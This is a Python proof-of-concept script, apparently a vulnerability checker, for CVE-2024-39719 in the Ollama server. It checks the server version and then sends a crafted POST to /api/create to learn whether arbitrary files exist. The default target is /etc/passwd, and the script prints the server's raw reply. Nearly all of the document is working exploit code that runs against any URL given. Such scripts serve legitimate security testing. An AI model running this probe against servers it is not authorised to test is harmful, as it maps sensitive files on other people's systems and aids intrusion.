import requests from termcolor import colored import argparse def format_url(url): """ Ensure URL is properly formatted (no trailing slashes) Args: url (str): URL to format Returns: str: Properly formatted URL """ # Ensure URL starts with http/https if not url.startswith('http'): url = 'http://' + url # Remove trailing slash if present if url.endswith('/'): url = url[:-1] return url def check_ollama_version(base_url): """ Check Ollama version to determine if it's vulnerable to CVE-2024-39719 Args: base_url (str): Base URL of Ollama server Returns: tuple: (is_vulnerable, version_str or None, error_message or None) """ try: # Format URL and construct version endpoint URL base_url = format_url(base_url) version_url = f"{base_url}/api/version" # Send request to version endpoint response = requests.get(version_url, timeout=5) if response.status_code == 200: # Parse version from response data = response.json() if "version" in data: version = data["version"] # Check if version is vulnerable (≤ 0.3.14) is_vulnerable = is_version_vulnerable(version) if is_vulnerable: return True, version, None else: return False, version, f"Ollama version {version} is not vulnerable to CVE-2024-39719 (requires version ≤ 0.3.14)" else: return False, None, "Version information not found in response" else: return False, None, f"Failed to get version, server returned status code: {response.status_code}" except requests.exceptions.RequestException as e: return False, None, f"Connection error: {str(e)}" except Exception as e: return False, None, f"Error checking Ollama version: {str(e)}" def is_version_vulnerable(version): """ Check if the given version is vulnerable to CVE-2024-39719 (≤ 0.3.14) Args: version (str): Version string (e.g., "0.1.44") Returns: bool: True if version is vulnerable, False otherwise """ try: # Parse version components components = version.split('.') major, minor, patch = map(int, components) # Check if version is <= 0.3.14 if major == 0 and minor == 3 and patch <= 14: return True elif major == 0 and minor < 3: return True else: return False except (ValueError, IndexError): # If version parsing fails, assume vulnerable to be safe print(colored(f"[WARNING] Could not parse version string: {version}", "yellow")) return True def check_file_existence(base_url, file_path): """ Check if a file exists on the Ollama server using the file existence vulnerability Args: base_url (str): Base URL of Ollama server file_path (str): Path of the file to check Returns: tuple: (exists, response_text, error_message) exists: bool - True if file exists, False if not, None if error response_text: str - Raw response text from the server error_message: str - Error message if any """ try: base_url = format_url(base_url) payload = { "name": "test", "path": file_path } # Send request to leak file endpoint response = requests.post(f"{base_url}/api/create", json=payload, timeout=5) if "no such file or directory" in response.text: return False, response.text, None else: # Unexpected response return True, response.text, None except requests.exceptions.RequestException as e: return None, None, f"Connection error: {str(e)}" except Exception as e: return None, None, f"Error checking file existence: {str(e)}" def main(): # Parse command line arguments parser = argparse.ArgumentParser(description='Check for CVE-2024-39719 (Ollama File Existence Disclosure)') parser.add_argument('-u', '--url', help='URL of the Ollama server', required=True) parser.add_argument('-f', '--file', default="/etc/passwd", help='File to check for existence') args = parser.parse_args() print(colored(f"[*] Checking Ollama server at {args.url} for CVE-2024-39719...", "blue")) # Check if server is vulnerable based on version is_vulnerable, version, error_message = check_ollama_version(args.url) if is_vulnerable: print(colored(f"[VULNERABLE] Ollama version {version} is vulnerable to CVE-2024-39719 (File Existence Disclosure)", "red")) elif error_message: print(colored(f"[ERROR] {error_message}", "red")) else: print(colored(f"[SAFE] Ollama version {version} is not vulnerable to CVE-2024-39719", "green")) return # Test the vulnerability by checking for the specified file file_exists, response_text, error = check_file_existence(args.url, args.file) if error: print(colored(f"[ERROR] {error}", "red")) else: if file_exists is True: print(colored(f"[INFO] File {args.file} may exist on the server", "green")) else: print(colored(f"[INFO] File {args.file} does not exist, but server is disclosing file existence", "green")) print(colored("\nServer response:", "blue")) print(response_text) if __name__ == "__main__": main()